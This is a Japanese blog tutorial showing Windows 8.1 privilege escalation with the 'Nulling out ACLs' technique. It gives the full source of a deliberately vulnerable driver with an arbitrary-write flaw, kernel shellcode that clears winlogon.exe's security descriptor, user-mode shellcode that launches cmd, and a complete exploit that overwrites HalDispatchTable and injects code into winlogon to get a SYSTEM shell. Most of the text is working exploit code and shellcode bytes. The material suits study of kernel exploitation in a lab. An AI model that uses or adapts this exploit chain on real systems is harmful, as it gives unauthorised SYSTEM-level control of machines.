WindowsでNulling out ACLs Shellcodeによる権限昇格をやってみる

「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、SystemプロセスのTokenを自身のプロセスのTokenにコピーするシェルコードを使って権限昇格を行った。 この方法のほかに、System権限で動作するプロセスのACLAccess Control List)を書き換え、このプロセスにコードインジェクションを行うことで権限昇格を行う方法が知られている。 この方法はNulling out ACLsと呼ばれる。 ここでは、Nulling out ACLsを行うシェルコードを使った権限昇格をやってみる。

環境

Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015

>systeminfo
OS Name:                   Microsoft Windows 8.1 Enterprise Evaluation
OS Version:                6.3.9600 N/A Build 9600
OS Build Type:             Multiprocessor Free
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz

>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0

脆弱性のあるデバイスドライバを書いてみる

まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。

/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING DeviceName, DosDeviceName;
    PDEVICE_OBJECT DeviceObject;

    RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");

    IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = handleUnsupported;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING DosDeviceName;
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    struct ioctl_aaw_arg *arg;

    switch (ioControlCode) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)inputBuffer;
        *(arg->addr) = arg->value;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。

プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成し、あらかじめscコマンドを使ってこれをロードしておく。

Nulling out ACLs Shellcode

EPROCESS構造体を含む多くの構造体には、OBJECT_HEADERと呼ばれるヘッダ情報がある。 カーネルデバッグを行い、これについて調べてみると次のようになる。

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
(snip)

PROCESS 8ce85700  SessionId: 1  Cid: 01b8    Peb: 7fccf000  ParentCid: 018c
    DirBase: 72799040  ObjectTable: 8e7f6ec0  HandleCount: <Data Not Accessible>

    Image: winlogon.exe

(snip)

kd> dt _OBJECT_HEADER 8ce85700-18
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n433
   +0x004 HandleCount      : 0n12
   +0x004 NextToFree       : 0x0000000c Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x7 ''
   +0x00d TraceFlags       : 0 ''
   +0x00d DbgRefTrace      : 0y0
   +0x00d DbgTracePermanent : 0y0
   +0x00e InfoMask         : 0x48 'H'
   +0x00f Flags            : 0 ''
   +0x00f NewObject        : 0y0
   +0x00f KernelObject     : 0y0
   +0x00f KernelOnlyAccess : 0y0
   +0x00f ExclusiveObject  : 0y0
   +0x00f PermanentObject  : 0y0
   +0x00f DefaultSecurityQuota : 0y0
   +0x00f SingleHandleEntry : 0y0
   +0x00f DeletedInline    : 0y0
   +0x010 ObjectCreateInfo : 0x8124b700 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x8124b700 Void
   +0x014 SecurityDescriptor : 0x85a07e1b Void
   +0x018 Body             : _QUAD

上において、SecurityDescriptorはこのプロセスへのアクセス制限に関する情報(ACL)を表している。 通常、System権限で動作しているプロセスはOpenProcess関数で開くことができないが、SecurityDescriptorをNULLに書き換えることでプロセスを開きメモリを読み書きすることが可能になる。 つまり、コードインジェクションにより任意のコードをSystem権限で実行できるようになる。

そこで、System権限で動作しているwinlogon.exeのSecurityDescriptorをNULLに書き換えるシェルコードを書いてみると次のようになる。

; nullacls.asm
.386
.model flat, stdcall
.code

start:
    pushad

    assume fs:nothing
    mov eax, fs:[124h]                   ; _KTHREAD
    mov eax, [eax+80h]                   ; _EPROCESS
    add eax, 0b8h                        ; _EPROCESS.ActiveProcessLinks

search_process:
    mov eax, [eax]                       ; Flink
    cmp dword ptr [eax+0b8h], 6c6e6977h  ; ImageFileName, "winl" for winlogon.exe
    jne search_process

    mov dword ptr [eax-0bch], 0          ; SecurityDescriptor

    popad
    ret

end start

上のコードでは、EPROCESS構造体のImageFileNameが「winl」で始まっているものをwinlogon.exeとみなし、SecurityDescriptorをNULLに書き換える。 また、このコードが関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。

シェルコードをアセンブルし、C文字列に変換すると次のようになる。

>ml nullacls.asm /link /subsystem:console

>dumpbin /rawdata nullacls.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file nullacls.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00  `d¡$..........¸.
  00401010: 00 00 8B 00 81 B8 B8 00 00 00 77 69 6E 6C 75 F2  .....¸¸...winluò
  00401020: C7 80 44 FF FF FF 00 00 00 00 61 C3              Ç.Dÿÿÿ....aÃ

  Summary

        1000 .text

>dumpbin /rawdata nullacls.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3

コードインジェクションで実行させるシェルコードを書いてみる

次に、コードインジェクションで実行させるシェルコードを用意する。 「Windowsで電卓を起動するシェルコードを書いてみる」を参考に、コマンドプロンプトを起動するシェルコードを書くと次のようになる。

; injectcode.asm
.386
.model flat, stdcall
.code

start:
    cld
    jmp main

api_call:
    assume fs:nothing
    pushad
    xor eax, eax
    mov eax, fs:[eax+30h]   ; PEB
    mov eax, [eax+0ch]      ; Ldr
    mov esi, [eax+14h]      ; InMemoryOrderModuleList
next_mod:
    lodsd                   ; next _LDR_DATA_TABLE_ENTRY
    mov [esp+1ch], eax      ; store eax
    mov ebp, [eax+10h]      ; DllBase
    mov eax, [ebp+3ch]      ; IMAGE_DOS_HEADER.e_lfanew
    mov edx, [ebp+eax+78h]  ; IMAGE_EXPORT_DIRECTORY
    add edx, ebp
    mov ecx, [edx+18h]      ; NumberOfNames
    mov ebx, [edx+20h]      ; AddressOfNames
    add ebx, ebp
next_name:                  ; while (--NumberOfNames)
    jecxz name_not_found
    dec ecx
    mov esi, [ebx+ecx*4]    ; ptr = AddressOfNames[NumberOfNames]
    add esi, ebp
    xor edi, edi            ; hash = 0
    xor eax, eax
compute_hash_loop:          ; while ((c = *(ptr++)) != 0)
    lodsb
    test al, al
    jz compare_hash
    ror edi, 0dh            ; hash += ror(c, 0x0d)
    add edi, eax
    jmp compute_hash_loop
compare_hash:
    cmp edi, [esp+24h]      ; compare with api hash
    jnz next_name
    mov ebx, [edx+24h]      ; AddressOfNameOrdinals
    add ebx, ebp
    mov cx, [ebx+ecx*2]     ; y = AddressOfNameOrdinals[x]
    mov ebx, [edx+1ch]      ; AddressOfFunctions
    add ebx, ebp
    mov eax, [ebx+ecx*4]    ; AddressOfFunctions[y]
    add eax, ebp
    mov [esp+1ch], eax      ; store eax
    popad
    pop ecx                 ; remove api hash from the stack
    pop edx
    push ecx
    jmp eax                 ; jump to api function
name_not_found:
    mov esi, [esp+1ch]      ; update eax
    jmp next_mod

main:
    pushad
    mov ebp, esp

    push 00646d63h          ; "cmd"
    mov eax, esp
    push 1
    push eax
    push 0e8afe98h          ; WinExec
    call api_call

    mov esp, ebp
    popad
    ret

end start

上のコードはCreateRemoteThread関数により関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。

シェルコードをアセンブルし、C文字列に変換すると次のようになる。

>ml injectcode.asm /link /subsystem:console

>dumpbin /rawdata injectcode.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file injectcode.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14  üëg`3Àd.@0.@..p.
  00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03  ­.D$..h..E<.T(x.
  00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03  Õ.J..Z .Ýã9I.4..
  00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB  õ3ÿ3À¬.Àt.ÁÏ..øë
  00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B  ô;|$$uâ.Z$.Ýf..K
  00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59  .Z..Ý....Å.D$.aY
  00401060: 5A 51 FF E0 8B 74 24 1C EB A6 60 8B EC 68 63 6D  ZQÿà.t$.ë¦`.ìhcm
  00401070: 64 00 8B C4 6A 01 50 68 98 FE 8A 0E E8 82 FF FF  d..Äj.Ph.þ..è.ÿÿ
  00401080: FF 8B E5 61 C3                                   ÿ.åaÃ

  Summary

        1000 .text

>dumpbin /rawdata injectcode.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3

エクスプロイトコードを書いてみる

「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様にHalDispatchTableの書き換えを行い、Nulling out ACLs Shellcodeの実行とコードインジェクションを行うエクスプロイトコードを書くと次のようになる。

/* exploit.c */
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum {
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

DWORD findPid(char *name)
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    Process32First(hProcessSnap, &pe32);
    do {
        if (_stricmp(pe32.szExeFile, name) == 0) {
            return pe32.th32ProcessID;
        }
    } while (Process32Next(hProcessSnap, &pe32));

    return -1;
}

int main()
{
    PSYSTEM_MODULE_INFORMATION moduleInfo;
    ULONG len;
    DWORD BytesReturned;
    ULONG dummy;

    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
    FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
    printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);

    PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;

    HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
    PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
    printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);

    char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3";
    LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(rwxMemory, shellcode, sizeof(shellcode));

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)HalDispatchTable + 4;
    arg.value = (DWORD)rwxMemory;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);

    NtQueryIntervalProfile(2, &dummy);

    PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
    KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase;

    arg.value = (DWORD)KeGetCurrentThread;
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
    CloseHandle(hDevice);

    char injectcode[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3";

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, findPid("winlogon.exe"));
    rwxMemory = VirtualAllocEx(hProcess, NULL, sizeof(injectcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, rwxMemory, (void *)injectcode, sizeof(injectcode), NULL);
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rwxMemory, NULL, 0, NULL);
    CloseHandle(hProcess);

    return 0;
}

findPid関数はCreateToolhelp32Snapshot関数を使い、引数に与えた実行ファイル名を持つプロセスのPIDを返す関数である。 コードインジェクションを行うには、VirtualAllocEx関数、WriteProcessMemory関数で対象となるプロセスに実行可能メモリを確保しコードを書き込んだ後、CreateRemoteThread関数をこのアドレスを指定して呼び出せばよい。

エクスプロイトコードをコンパイルし実行すると、コマンドプロンプトが起動し次のスクリーンショットのようになる。

f:id:inaz2:20150917215622p:plain

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。

関連リンク